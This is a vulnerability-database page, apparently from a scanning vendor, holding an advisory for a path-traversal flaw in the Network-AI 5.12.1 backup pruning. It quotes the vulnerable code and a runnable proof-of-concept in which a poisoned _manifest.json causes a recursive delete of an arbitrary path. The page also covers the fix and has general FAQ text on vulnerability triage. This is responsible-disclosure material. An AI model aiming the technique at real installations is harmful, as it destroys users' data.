How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,427

Total vulnerabilities in the database

Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning — network-ai

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) {
  const manifest = join(backupsDir, name, &#039;_manifest.json&#039;);
  if (existsSync(manifest)) {
    try {
      const entry = JSON.parse(readFileSync(manifest, &#039;utf-8&#039;)) as BackupEntry;
      entries.push(entry);
    } catch { /* corrupt manifest, skip */ }
  }
}

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
  try {
    rmSync(entry.path, { recursive: true, force: true });
    deleted++;
  } catch { /* ignore */ }
}

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
lib/env-manager.ts:529-541 — recursively deletes entry.path.
bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d)
TMPBASE=&quot;$TMP&quot; node -r ts-node/register/transpile-only - &lt;&lt;&#039;TS&#039;
const { EnvironmentManager } = require(&#039;./lib/env-manager&#039;);
const fs = require(&#039;fs&#039;);
const path = require(&#039;path&#039;);
const base = process.env.TMPBASE;

const mgr = new EnvironmentManager(path.join(base, &#039;data&#039;), {
  chain: [&#039;dev&#039;, &#039;st&#039;],
  gates: { dev: &#039;auto&#039;, st: &#039;auto&#039; },
});

mgr.init(&#039;dev&#039;);
fs.writeFileSync(path.join(base, &#039;victim.txt&#039;), &#039;safe&#039;);

const backupsDir = path.join(base, &#039;data&#039;, &#039;dev&#039;, &#039;.backups&#039;);
fs.mkdirSync(path.join(backupsDir, &#039;evil&#039;), { recursive: true });
fs.writeFileSync(
  path.join(backupsDir, &#039;evil&#039;, &#039;_manifest.json&#039;),
  JSON.stringify({
    backupId: &#039;evil&#039;,
    env: &#039;dev&#039;,
    timestamp: &#039;2000-01-01T00:00:00.000Z&#039;,
    sizeBytes: 0,
    path: path.join(base, &#039;victim.txt&#039;),
  })
);

console.log(JSON.stringify({
  before: fs.existsSync(path.join(base, &#039;victim.txt&#039;)),
  deleted: mgr.pruneBackups(&#039;dev&#039;, 0),
  after: fs.existsSync(path.join(base, &#039;victim.txt&#039;)),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Published: Jun 19, 2026
Updated: Jun 20, 2026
GHSA: GHSA-2fmp-9rvw-hc96
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
network-ai	-	5.12.2

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.